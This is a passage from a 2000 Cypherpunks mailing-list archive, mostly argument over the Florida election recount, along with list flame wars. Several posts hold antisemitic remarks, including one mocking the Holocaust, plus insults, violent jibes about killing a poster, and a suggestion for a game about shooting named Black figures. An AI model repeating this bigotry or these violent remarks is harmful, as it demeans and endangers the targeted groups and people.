unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From k-elliott at wiu.edu Sun Nov 12 11:15:45 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Sun, 12 Nov 2000 13:15:45 -0600 Subject: CDR: Re: Democrats are arguing for "statistical sampling voting" In-Reply-To: References: <20001109205510.C31401@cluebot.com> Message-ID: At 17:52 -0800 11/9/00, Tim May wrote: >At 8:55 PM -0500 11/9/00, Declan McCullagh wrote: >>I suggest that we find one county for each state that we believe to be >>representative, let them vote, and then extrapolate from their results >>and assign electors accordingly. >> >>Or perhaps one household per state. I volunteer Tim and his cats to to >>represent California. I know the way Nietzsche would vote, at least. >> > >I put a ballot in front of him, consisting of three open cans of cat food: > >Gore: O > > O : Buchanan > >Bush: O > >He spoiled his ballot by eating out of more than one can, though, so >he has now brought in Jesse Jackson, Al Sharpton, Tawana Brawley, >and Morris the Cat to argue that he was confused and should be given >a "do over." > >--Tim May OH GOD!!! This means that assuming you vote correctly, OVER HALF of California's ballots will have been spoiled! I demand a recount, the will of the peple has been thwarted... -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From tabu_luv at yahoo.com Sun Nov 12 15:01:54 2000 From: tabu_luv at yahoo.com (tabu_luv at yahoo.com) Date: Sun, 12 Nov 2000 15:01:54 -0800 (PST) Subject: CDR: Organization Message-ID: <20001112230155.5070.qmail@mta119.mail.yahoo.com> Next time, email someone who cares. OK! -------------------- Original Message: From rguerra at yahoo.com Sun Nov 12 14:39:27 2000 From: rguerra at yahoo.com (Robert Guerra) Date: Sun, 12 Nov 2000 17:39:27 -0500 Subject: CDR: 6th CACR Information Security Workshop - Slides now online Message-ID: Hi folks: I attended t he Sixth CACR Information Security Workshop in Toronto the other day . The slides presented by the speakers are online and available at the URL's below.. http://www.cacr.math.uwaterloo.ca/conferences/2000/isw-sixth/announcement.html The Sixth CACR Information Security Workshop, also titled the 1st Annual Privacy and Security Workshop,was help on Friday, November 10, 2000 at the Fields Institute, Toronto, Ontario. Slides for the presentations are available at: http://www.cacr.math.uwaterloo.ca/conferences/2000/isw-sixth/slides2.html Slides available: € Ann Cavoukian Privacy by Design: Building Trust into Technology € David Wallace Meeting the Challenges og Privacy in the Ontario Government € Barry Sookman Incorporating Privacy into the Security Domain: Issues and Solutions € Stefan Brands PKI versus Private Credentials € Brenda Watkins Security and Government On-Line: Getting the Model Right € Peter Cullen Managing the Balance of Privacy - Why it Matters € Jo Anne DeLaurentiis Privacy Protection Made Simple: How technical design can help you meet your commitment to privacy in the marketplace € Guy Herriges The Privacy Impact Assessment Guidelines -- "...as we transfer our whole being to the data bank, privacy will become a ghost or echo of its former self and what remains of community will disappear"...Marshal McLuhan -- Robert Guerra , Fax: +1(303) 484-0302 WWW Page , ICQ # 10266626 PGPKeys From tcmay at got.net Sun Nov 12 18:55:33 2000 From: tcmay at got.net (Tim May) Date: Sun, 12 Nov 2000 18:55:33 -0800 Subject: CDR: Re: Bush Florida lead dwindles toward zero... In-Reply-To: <200011130218.VAA24543@www6.aa.psiweb.com> References: <200011130218.VAA24543@www6.aa.psiweb.com> Message-ID: At 9:18 PM -0500 11/12/00, George at Orwellian.Org wrote: > >White Supremacist Tim "I'd like to see a race riot" May Moroned: ># Of course, the Republicans will have to call for a manual recount of ># Duval County and all of the other counties where the same statistical ># examination should turn up votes for THEM. > >Apparently the request wasn't made within the required 72 hour period, >so, Bush lost out there. Of course, recounts there wouldn't make much >difference anyway: no fucked-up ballot. I think such recounts should >be allowed even if they missed the 72-hour deadline. Hey, Vulis, I was the one who pointed this out earlier than nearly anyone else. Yesterday, early afternoon, my time. Check it out. I'm fully aware that the Democrats will likely win through exactly this trickery. The Dems used their Jew lawyers very quickly and very shrewdly. The Republicans trusted to the count and recount, which they won. As I have said, it will be a "good" thing that the Democrats steal the election this way. > >Live and let live. Fuck that. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From jamesd at echeque.com Sun Nov 12 20:10:47 2000 From: jamesd at echeque.com (James A. Donald) Date: Sun, 12 Nov 2000 20:10:47 -0800 Subject: CDR: More news from Somalia: Message-ID: <4.3.1.2.20001112191959.00b9df48@shell11.ba.best.com> -- From time to time newspaper articles appear on how well all is going for the newly formed Somali government, despite the fact that it has twice fled Somalia and does not seem to govern very much. It has now returned to Somalia for the third time. A recent news article announced the new Somalian government was recruiting to form an army. It failed to report that the main function of this army would be to make war on other Somalis, and that the general leading this army was assassinated a couple of days after recruitment began: I predicted that the new government would become yet another warlord. This process seems well under way. A fan of the new government and of governments in general (marqaan at my-deja.com), reports the situation as follows: > If the cowards who murdered general Talan thought they could > de-stabilize the newly formed transitional government, they made a > big mistake, it will be even a bigger and more tragic mistake if > this murder was orchestrated by elements from the Somaliland, > because this will surely cause the Gadabuursi clan of the Awdal > region to question their status within the Somaliland administration > and seek revenge (and righfully and justly so)against a high ranking > member of the Isaq clan within the Somaliland administration. > > The new administration in the south is talking about finding and > bringing into justice those who were behind the killing of Gen. > Talan, this is nice and beautifull, but we all know that the only > kind of justice that works in Somalia is "Revenge", any politician > or influential member belonging to the clan or clans who were behind > this act must now watch their backs, sooner or later they will have > to pay for the crimes of their folk, the Somali way. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG UzG9mQ/rq7yY1+Pz5TeVvVLDZtSmQGX2jGKvp8Ex 42N0ZphAAHCnvrqUABiEDRUiw2lqlva8MhDRP5cGj From tcmay at got.net Sun Nov 12 20:53:08 2000 From: tcmay at got.net (Tim May) Date: Sun, 12 Nov 2000 20:53:08 -0800 Subject: CDR: Re: Hate monger Tim May strikes again In-Reply-To: <200011130427.UAA21650@user3.hushmail.com> References: <200011130427.UAA21650@user3.hushmail.com> Message-ID: At 11:17 PM -0500 11/12/00, auto9950013 at hushmail.com wrote: >The hate mongering Tim May who claims not to hate Jews, tells us: > >>I'm fully aware that the Democrats will likely win through exactly >>this trickery. The Dems used their Jew lawyers very quickly and very >>shrewdly. The Republicans trusted to the count and recount, which >>they won. >> > >Well, us gun grabing liberal Democrats with our Jew lawyers and our Jew >V.P. will win. >Hope your ready Tim, were coming for you and your guns. Yes, I know. I have known this for many years. Thankfully, many folks were liberal Jews in Weimar Germany. Guns were icky. Guns were inconsistent with reading the Torah, selling diamonds, and arguing for a more powerful central state. Well, look where supporting gun confiscation got the Jews a few years laterL: "Up in smoke." Your liberal Jews are indeed coming to get our guns. And we folks will be ready. (I said "we folks." Your own "hope your ready" and "us gun grabing" patterns, esp. with the "us" error, give some useful supporting evidence as to which name you used to post under. Thanks for providing more clues.) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Sun Nov 12 17:53:54 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 12 Nov 2000 20:53:54 -0500 (EST) Subject: CDR: Re: Close Elections and Causality Message-ID: <200011130153.UAA04939@www0.aa.psiweb.com> Kevin Elliott wrote: % This is why people who don't know statistics should not be allowed to % think... By no means is that number, by itself, of any significance % whatsoever. How many got canceled last election- one number I heard % said 14,000. If so then 19,000 is about what one would expect % considering increased voter turnout and normal statistical % fluctuations. Bzzzt! Wrong. http://interactive.wsj.com/articles/SB973893500998857873.htm # # November 10, 2000 # # Palm Beach Official Disputes Claim By Bush Campaign on Invalid # Ballots # # By JACKIE CALMES Staff Reporter of THE WALL STREET JOURNAL # # WASHINGTON -- The Bush campaign is dead wrong on one of its prime # arguments in response to complaints about voter confusion in # Florida's Palm Beach County, according to a top county official. # # Palm Beach County Commissioner Carol Roberts said in an interview # Friday that about 30,000 ballots were invalidated for their # presidential selection this week because voters had punched two # holes or none. That is more than twice the 14,000 invalidated # in 1996, which could be evidence of some amount of voter confusion # about the county ballot's much-criticized design. # # This week, both Bush campaign Chairman Don Evans and chief # strategist Karl Rove have claimed that about 19,000 ballots' # presidential votes were invalidated, or not significantly more # than four years ago, when turnout was lower. But that 19,000 # represents only the invalidated ballots with two holes punched # for president, the commissioner says. More than 10,000 additional # ballots were invalidated for having no presidential vote, she # explains, for a combined 30,000. # # "It's not a correct argument," Ms. Roberts, a Democrat, said # of the Bush officials' contention that this year's invalidated # ballots are comparable to the number four years ago. "It's just # not accurate." Kevin Elliott wrote: % More importantly, the ballot was approved by both % parties before the election took place. Thus demonstrating the ballot design problem is non-partisan. I asked a [Bush-voting] friend why the live-and-let-die attitude towards such a large loss of people's votes, and he admitted it was because he wanted Bush to win, and that Gore probably had the votes. From tcmay at got.net Sun Nov 12 20:55:46 2000 From: tcmay at got.net (Tim May) Date: Sun, 12 Nov 2000 20:55:46 -0800 Subject: CDR: Re: Bush Florida lead dwindles toward zero... In-Reply-To: References: Message-ID: At 10:19 PM -0600 11/12/00, Mac Norton wrote: >Tim, that's just stupid. >MacN And I don't need your prissy comments about my choice of words. --Tim May > >On Sun, 12 Nov 2000, Tim May wrote: >> >Live and let live. >> >> >> Fuck that. >> >> >> --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From schear at lvcm.com Sun Nov 12 21:02:19 2000 From: schear at lvcm.com (Steve Schear) Date: Sun, 12 Nov 2000 21:02:19 -0800 Subject: CDR: Re: Close Elections and Causality In-Reply-To: <3.0.5.32.20001109144130.00a94ab0@idiom.com> References: Message-ID: <4.3.2.7.0.20001112205837.050072a0@pop3.lvcm.com> At 02:41 PM 11/9/00 -0800, Bill Stewart wrote: >At 09:02 AM 11/9/00 -0800, Tim May wrote: >I agree that that's a strong point - if any of those 19000 voters >was confused, the time for them to raise the issue was at the poll. >If they _did_ ask "hey, this is confusing, how do I vote for Gore?" >at the polling place, and the poll workers told them what to do >and voided their ballots anyway, then they've got a cause of action. >If they didn't complain, it's much harder to argue. Who says they didn't? These spoiled ballots don't imply that the voters who created them didn't ask for and receive new ballots. That's a different total and one which I have not seen in the media? steve From snazzyperson at hotmail.com Sun Nov 12 21:08:28 2000 From: snazzyperson at hotmail.com (Aaron Nielsen) Date: Sun, 12 Nov 2000 21:08:28 PST Subject: CDR: Banned From Prius_Technical_Stuff Message-ID: Hello; I have reiceived a message asking me to ban you from this group on the account that they said that you are nothing more than a mailing list. If you feel that you have been unfairly banned please e-mail me and I'm sure we can get this sorted out. Thank You; Aaron Nielsen _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From George at Orwellian.Org Sun Nov 12 18:18:17 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 12 Nov 2000 21:18:17 -0500 (EST) Subject: CDR: Re: Bush Florida lead dwindles toward zero... Message-ID: <200011130218.VAA24543@www6.aa.psiweb.com> White Supremacist Tim "I'd like to see a race riot" May Moroned: # Vulis, you're the same commie fool # you were a a couple of years ago. Starting to stutter at the thought of Vulis, eh? My guess is he is the one persistently subscribing this list to Giganetstore, etc. Thus making this the TimMay and Vulis-spam list. White Supremacist Tim "I'd like to see a race riot" May Moroned: # Your kind has earned liquidation. When did all your thoughts turns from creating things to destroying things? White Supremacist Tim "I'd like to see a race riot" May Moroned: # The count of a sample of 1% of the votes took all of today, so the # count of 100 times as many total ballots will presumably take on the # order of 100 days. Gore wins. White Supremacist Tim "I'd like to see a race riot" May Moroned: # They analyzed the "chads" and counted 33 additional votes for Gore, # 14 for Bush. So this would imply about 19 additional votes for Gore # over Bush. Then, extrapolating to the full population, 1900 # additional votes for Gore over Bush (modulo statistical fluctuations). They said the number of errors warranted a recount. Yep. White Supremacist Tim "I'd like to see a race riot" May Moroned: # Of course, the Republicans will have to call for a manual recount of # Duval County and all of the other counties where the same statistical # examination should turn up votes for THEM. Apparently the request wasn't made within the required 72 hour period, so, Bush lost out there. Of course, recounts there wouldn't make much difference anyway: no fucked-up ballot. I think such recounts should be allowed even if they missed the 72-hour deadline. Live and let live. From tcmay at got.net Sun Nov 12 21:23:23 2000 From: tcmay at got.net (Tim May) Date: Sun, 12 Nov 2000 21:23:23 -0800 Subject: CDR: Re: Bush Florida lead dwindles toward zero... In-Reply-To: References: Message-ID: At 11:08 PM -0600 11/12/00, Mac Norton wrote: >Of course you don't. However, this list is monitored by >many people who never post. They need to hear that there >are some of us here who know stupidity when we see it. >You're smarter than "fuck that," and I'm ashamed of you. Gee, poor little Mac Norton, who rarely posts, is "ashamed" of me. I'm crushed. * P L O N K * --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From commerce at home.com Sun Nov 12 18:28:51 2000 From: commerce at home.com (Me) Date: Sun, 12 Nov 2000 21:28:51 -0500 Subject: CDR: Re: Close Elections and Causality References: <200011130153.UAA04939@www0.aa.psiweb.com> Message-ID: <012501c04d19$767368d0$0100a8c0@matthew> From: > # This week, both Bush campaign Chairman Don Evans and chief > # strategist Karl Rove have claimed that about 19,000 ballots' > # presidential votes were invalidated, or not significantly more > # than four years ago, when turnout was lower. But that 19,000 > # represents only the invalidated ballots with two holes punched > # for president, the commissioner says. More than 10,000 additional > # ballots were invalidated for having no presidential vote, she > # explains, for a combined 30,000. This is exactly what I have heard the GWBians say. The 10,000 un-votes were described as a sign of how many people hate both men. > I asked a [Bush-voting] friend why the live-and-let-die attitude > towards such a large loss of people's votes, and he admitted it > was because he wanted Bush to win, and that Gore probably had > the votes. My cat's breath smells like cat food. From comsec.os at virgin.net Sun Nov 12 13:37:29 2000 From: comsec.os at virgin.net (comsec.os) Date: Sun, 12 Nov 2000 21:37:29 -0000 Subject: CDR: REMOVE Message-ID: <000a01c04e87$c24001a0$d039a8c2@oemcomputer> THANKS P.J COMSEC.OS at VIRGIN.NET -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 398 bytes Desc: not available URL: From mnorton at cavern.uark.edu Sun Nov 12 20:19:21 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Sun, 12 Nov 2000 22:19:21 -0600 (CST) Subject: CDR: Re: Bush Florida lead dwindles toward zero... In-Reply-To: Message-ID: Tim, that's just stupid. MacN On Sun, 12 Nov 2000, Tim May wrote: > >Live and let live. > > > Fuck that. > > > --Tim May From bill.stewart at pobox.com Sun Nov 12 22:50:49 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sun, 12 Nov 2000 22:50:49 -0800 Subject: CDR: Re: 2:15 am, Eastern Time--The Election Train Wreck In-Reply-To: References: Message-ID: <3.0.5.32.20001112225049.00b027a0@idiom.com> At 02:29 AM 11/12/00 -0800, petro wrote: > Bush winning is bad, AlGore winning is worse. This insane >infighting over the spoils is too much to stomach. I disagree. The House and the Senate will be Republican, or at least nearly so. Al Gore with a 100-vote Florida plurality would have an extremely difficult time getting things accomplished in that environment. (Considering what Al wants to accomplish, that's probably good, especially since first priority is It's Still The Economy, Stupid.) George W. with a 100-vote Florida plurality and a minority popular vote position (with Gore and also Nader to the left of him) would get no respect at all, but would have a Republican Congress to make it much easier to accomplish things. I don't *want* the military-industrial complex rebuilt (though Nader says that AlGore likes them as much as Bush does.) Other than small tax cuts, nothing I've heard Bush suggest doing sounds worthwhile, and he does plan to spend more of your money even though he acknowledges that it's yours. Also, Bush would be under immense pressure to prove he's not a wimp, so he'd go do something decisive and Presidential as soon as possible, which is not a good thing to have lightweights doing. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From mnorton at cavern.uark.edu Sun Nov 12 21:08:44 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Sun, 12 Nov 2000 23:08:44 -0600 (CST) Subject: CDR: Re: Bush Florida lead dwindles toward zero... In-Reply-To: Message-ID: Of course you don't. However, this list is monitored by many people who never post. They need to hear that there are some of us here who know stupidity when we see it. You're smarter than "fuck that," and I'm ashamed of you. MacN On Sun, 12 Nov 2000, Tim May wrote: > At 10:19 PM -0600 11/12/00, Mac Norton wrote: > >Tim, that's just stupid. > >MacN > > And I don't need your prissy comments about my choice of words. > > > --Tim May > > > > > > >On Sun, 12 Nov 2000, Tim May wrote: > >> >Live and let live. > >> > >> > >> Fuck that. > >> > >> > >> --Tim May > > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > > From auto9950013 at hushmail.com Sun Nov 12 20:17:23 2000 From: auto9950013 at hushmail.com (auto9950013 at hushmail.com) Date: Sun, 12 Nov 2000 23:17:23 -0500 (EST) Subject: CDR: Hate monger Tim May strikes again Message-ID: <200011130427.UAA21650@user3.hushmail.com> The hate mongering Tim May who claims not to hate Jews, tells us: >I'm fully aware that the Democrats will likely win through exactly >this trickery. The Dems used their Jew lawyers very quickly and very >shrewdly. The Republicans trusted to the count and recount, which >they won. > Well, us gun grabing liberal Democrats with our Jew lawyers and our Jew V.P. will win. Hope your ready Tim, were coming for you and your guns. From George at Orwellian.Org Sun Nov 12 20:21:00 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 12 Nov 2000 23:21:00 -0500 (EST) Subject: CDR: Re: Bush Florida lead dwindles toward zero... Message-ID: <200011130421.XAA26737@www8.aa.psiweb.com> White Supremacist Tim "I'd like to see a race riot" May Moroned: # Hey, Vulis, I was the one who pointed this out earlier than nearly # anyone else. Yesterday, early afternoon, my time. Check it out. Oooh, want to compete on who was first? ! From root Mon Nov 6 19:09:23 2000 ! From: cypher at punk.net ! Subject: Election results come in January ! Newsgroups: ny.politics ! Organization: NYPD: We don't need no stinkin' license plates! ! ! Florida is so close results might not be in until 9-11pm EST. ! Same for Michigan. ! ! And California? 3.2 million absentee ballots, which will ! take days to count. ! ! And the government's official count doesn't ! come in until three months later. ! ! Anyway, there's a chance we won't know who wins for a while. ! ! Just a possibility. White Supremacist Tim "I'd like to see a race riot" May Moroned: # I'm fully aware that the Democrats will likely win through # exactly this trickery. What trickery? Everything being done now is provided for by Florida law. Of course, a White Supremacist like you will have a severely twisted view of even the simplest of events. White Supremacist Tim "I'd like to see a race riot" May Moroned: # As I have said, it will be a "good" thing that the Democrats # steal the election this way. Yeah, for your "Turner Diaries" wet dreams. Ha ha ha. White Supremacist Tim "I'd like to see a race riot" May Moroned: Georgie-poo wrote: # >Live and let live. # Fuck that. Heh-heh-heh. Poor rich weirdo and his "Turner Diaries" wet dreams. Why don't you do something constructive-ish by releasing a shoot-em-up video game that matches your wet dreams? Usenet and this list don't do your warped dreams justice. Better release it anonymously, or you'll get sued for anyone hurt. ;-) Or don't, and make your free speech stand there. From list9_238 at yahoo.com Sun Nov 12 23:40:48 2000 From: list9_238 at yahoo.com (NetNews) Date: Sun, 12 Nov 2000 23:40:48 -0800 Subject: No subject Message-ID: <200111131655.IAA22861@toad.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2332 bytes Desc: not available URL: From auto9950013 at hushmail.com Sun Nov 12 21:14:28 2000 From: auto9950013 at hushmail.com (auto9950013 at hushmail.com) Date: Mon, 13 Nov 2000 00:14:28 -0500 (EST) Subject: CDR: Re: Bush Florida lead dwindles toward zero... Message-ID: <200011130520.VAA01651@user3.hushmail.com> Getting a little testy are we Tim? Perhaps Mac needs to be hunted down and killed. >At 10:19 PM -0600 11/12/00, Mac Norton wrote: >>Tim, that's just stupid. >>MacN > >And I don't need your prissy comments about my choice of words. > > >--Tim May > > > >> >>On Sun, 12 Nov 2000, Tim May wrote: >>> >Live and let live. >>> >>> >>> Fuck that. >>> >>> >>> --Tim May > >-- >At 10:19 PM -0600 11/12/00, Mac Norton wrote: >>Tim, that's just stupid. >>MacN > >And I don't need your prissy comments about my choice of words. > > >--Tim May > > > >> >>On Sun, 12 Nov 2000, Tim May wrote: >>> >Live and let live. >>> >>> >>> Fuck that. >>> >>> >>> --Tim May > From mix at mixmaster.ceti.pl Sun Nov 12 15:20:02 2000 From: mix at mixmaster.ceti.pl (Anonymous Remailer) Date: Mon, 13 Nov 2000 00:20:02 +0100 (CET) Subject: No subject Message-ID: Actually there's a much more mundane reason for people not viewing the ads on algebra.com. The javascipt code is broken and doesn't display anything in netscape. So if you view the page with netscape, the ads don't show... Oh well, using javascript is a stupid idea anyway. I think you got what you deserved on that one... From George at Orwellian.Org Sun Nov 12 21:23:35 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 00:23:35 -0500 (EST) Subject: CDR: Re: Close Elections and Causality Message-ID: <200011130523.AAA28534@www7.aa.psiweb.com> Steve Schear # These spoiled ballots don't imply that the voters who # created them didn't ask for and receive new ballots. Those 30,000 (not 19,000) were from the ballot box, not replaced ballots from on-site. White Supremacist Tim "I'd like to see a race riot" May Moroned: # ...liberal Jews...the Jews...liberal Jews coming to get our guns. HA HA HA! A paranoid racist fuck. You're the Buchanan of the Cypherpunks list. "In the name of the Lord, let's get behind George Bush." ---Patrick Buchanan, who received "0%" of the vote (<.5%) From commerce at home.com Sun Nov 12 21:34:10 2000 From: commerce at home.com (Me) Date: Mon, 13 Nov 2000 00:34:10 -0500 Subject: CDR: Re: Bush Florida lead dwindles toward zero... References: <200011130218.VAA24543@www6.aa.psiweb.com> Message-ID: <01a701c04d33$5b78fb20$0100a8c0@matthew> ----- Original Message ----- From: > Apparently the request wasn't made within the required 72 hour period, > so, Bush lost out there. Of course, recounts there wouldn't make much > difference anyway: no fucked-up ballot. I think such recounts should > be allowed even if they missed the 72-hour deadline. Does anyone know what bit of legislation this comes from? The written text of Florida, and US law in general, seem to have little to do with the actual actions of government... or the law is so redundant and disorganized that any action is both mandatory and proscribed. From George at Orwellian.Org Sun Nov 12 23:17:04 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 02:17:04 -0500 (EST) Subject: CDR: Tim May, White Supremacist Message-ID: <200011130717.CAA24117@www0.aa.psiweb.com> Seriously, Tim, are you just going to continue to fart around here and in Usenet for another 10 years, or are you going to do something to propagate your views? I'd suggest a video game. There would be white trash (liked you), Jews, Blacks... Some specific personalities: Jesse Jackson, Al Sharpton... For good measure, you should include yourself. The dialog should be variable, choices of politically correct, anti-semitic, anti-black ("Welfare mutants" -TimMay). Anti-Democratic, anti-Republican. Plugins for other countries. Choice of paintball or bloody death mode. You get the idea. Don't you want to profit from a game that allows you to shoot down Jesse Jackson & Al Sharpton AND cause a free speech furor (heil!). Your current attempts (" need killing") are pathetic. From mix at mixmaster.ceti.pl Sun Nov 12 18:45:01 2000 From: mix at mixmaster.ceti.pl (Anonymous Remailer) Date: Mon, 13 Nov 2000 03:45:01 +0100 (CET) Subject: CDR: Vatican defends its IP Message-ID: <39e47c797b75d51a9151632a9b4b69e1@mixmaster.ceti.pl> VATICAN, Monday: Numerous religion around the world have confirmed that they will close over the next few weeks following the Catholic Churchs startling declaration that it is the only valid source of salvation. The Churchs declaration, "Dominus Iesus", ended the years old debate as to which religion was correct. In the document the Catholic Church claims that it made the shrewd purchase of the rights of salvation sometime around 300BC. Aware of the possible controversy that would be caused by their statements the Church sought to placate other religions. "Just because there is no chance of salvation through them doesnt mean that Hinduism or Buddhism cant be very effective social clubs," said Pope John Paul II. The Catholic Church has defended the impartiality of the declaration which also claims that Christian religions that failed to recognise the Pope are also deficient as churches. "There was a great deal of vigour in the process and any religion could have turned out to be the correct religion," defended Cardinal Joseph Ratzinger. "I got the Pope to ask God and the answer just happened to come back in favour of Catholicism, it was just lucky for us." "I guess it is good to find out now rather than later," commented Jewish fundamentalist Rabbi Kahane who admitted that there was a sense of regret at being wrong. "Pass me a ham sandwich." From auto58194 at hushmail.com Mon Nov 13 02:09:53 2000 From: auto58194 at hushmail.com (auto58194 at hushmail.com) Date: Mon, 13 Nov 2000 05:09:53 -0500 (EST) Subject: CDR: Beware the Ides of May Message-ID: <200011131132.DAA20710@user5.hushmail.com> Am I the only one delighting in the irony of someone using the name Orwell having no better writing skills than to rely on repetitive phrases in an attempt to brainwash us into thinking that Herr May is the enemy? I realize the traditional Internet way to deal with these fools is to ignore them, but perhaps pointing out the humorous side helps make this junk a bit easier to read. Or am I also the only one finding it difficult to believe that the Cypherpunks lists have been besieged by those attempting to make a case of state-sponsored censorship? Sure, Jody went away and eventually one can suspect that George will too, but does it matter that they go away when they're replaced by those with the same agenda? Cypherpunks don't write as much code as they used to (and hey, I still use LCM PRNG's because they're sufficient for my needs), but the lists also serve as an example of the Cypherpunk ideals regarding privacy, free speech, and anonymity. Not just technical discussions about how to achieve and protect these ideals, but discussions that show the need for them. Perhaps it has been realized that it's not the tools that are a danger to those in power, but the ideas that lead to a desire for them. It's always been easy to complain that law enforcement, politicians, and other state workers don't understand crypto, but one needs to consider that it's not crypto itself that's important, it's the ideas that need to be protected using crypto that are important. Sure, protecting the right of people to speak out against their unelected totalitarian government seems like a justifiable high-minded use of crypto compared to protecting the rights of a cranky neo-anarchist from California, but isn't the whole point supposed to be that it's not what's being protected that's important, just that it can be protected? Has Tim suddenly changed in some way to have recently become so dangerous that he must be attacked from the left to expose his evil right-wing thoughts? Or is this part of a campaign to demonstrate the danger inherent in the popular use of crypto by linking it to the dangerous thoughts of one man? What ideas will be declared dangerous next, and what people will be used to demonstrate that danger? I don't claim there's a conspiracy, I merely point out that those who attack Tim's dangerous thoughts are also attacking crypto. Whether it's an intentional organized activity or merely the knee-jerk responses of children hiding being "proper ideology", the result is the same. Jim Bell's dangerous ideas have resulted in his freedoms and property being confiscated, and no doubt there are those who would wish the same for Tim. To the spectators: beware Tim May and his dangerous ideas, because if his ideas are dangerous, so are yours. Here's to being dangerous. From id-support at verisign.com Mon Nov 13 06:24:46 2000 From: id-support at verisign.com (VeriSign Customer Support Department) Date: Mon, 13 Nov 2000 06:24:46 -0800 (PST) Subject: CDR: Secure your E-mail with your Trial Digital ID Message-ID: <200011131429.GAA04510@toad.com> Dear VeriSign Digital ID Holder: Thank you for obtaining a 60-Day Trial Digital ID from VeriSign! With the recent introduction of secure e-mail capabilities in Netscape's Messenger (the e-mail application in Communicator) and several other popular e-mail packages, your Digital ID provides you with the ability to digitally encrypt and sign your messages to ensure security over the Internet. To learn more about using your Digital ID to secure your e-mail messages, please visit our Secure E-Mail Reference Guide at http://www.verisign.com/securemail/guide. This guide gives simple, step-by-step instructions on how to get started. Thanks again for choosing VeriSign! We look forward to serving your future electronic commerce and communications needs. VeriSign Customer Support Dept. ID-support at verisign.com From George at Orwellian.Org Mon Nov 13 04:54:57 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 07:54:57 -0500 (EST) Subject: CDR: Re: Beware the Rants of May Message-ID: <200011131254.HAA17032@www4.aa.psiweb.com> I_Have_No_Name_At_ALL at Ether wrote: # Am I the only one delighting in the irony of someone # using the name Orwell having no better writing skills... Ah, start out with an ad hominem attack. Such writing skills. I_Have_No_Name_At_ALL at Ether wrote: # I merely point out that those who attack # Tim's dangerous thoughts are also attacking crypto. Gee, that makes no sense at all. Nor have I said to censor Tim. And it is Tim who would censor others ("needs killing"). It's also a pretty ironic claim, having just made a suggestion he get up off his ass and make a video game to illustrate his ideas. We've heard them endlessly. They have the worst problem of all: BORING. Oh look, there's Al Sharpton talking about evil whitey, whatcha going to do about it? Tim is a hermit with an Internet connection, who would pee in his pants just walking through a black neighborhood. At least he could make a video game to bring his ideas "to life". It's so pathetic to hear him talk tough while doing nothing. A White Supremacist coward, paralyzed with fear when he sees a Spanish language billboard. Coward: "That's when I knew it was time to move." Coward: burying his money in the ground in fear of a computer glitch of trivial proportions. Paranoid coward: "If the feds knock at the door, I'll have to decide quickly whether to blow them away or let them in." A pretend bully who is just a coward. From openpgp at openpgp.net Mon Nov 13 05:31:26 2000 From: openpgp at openpgp.net (Openpgp) Date: Mon, 13 Nov 2000 08:31:26 -0500 Subject: CDR: Re: Beware the Rants of May In-Reply-To: <200011131254.HAA17032@www4.aa.psiweb.com> Message-ID: On Mon, 13 Nov 2000 George at Orwellian.Org wrote: > A pretend bully who is just a coward. Pot, Kettle, Black -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html --------------------------------------------------------------- From juicy at melontraffickers.com Mon Nov 13 08:32:39 2000 From: juicy at melontraffickers.com (A. Melon) Date: Mon, 13 Nov 2000 08:32:39 -0800 Subject: CDR: Re: Beware the Ides of May Message-ID: auto58194 said: > Has Tim suddenly changed in some way to have recently become so dangerous > that he must be attacked from the left to expose his 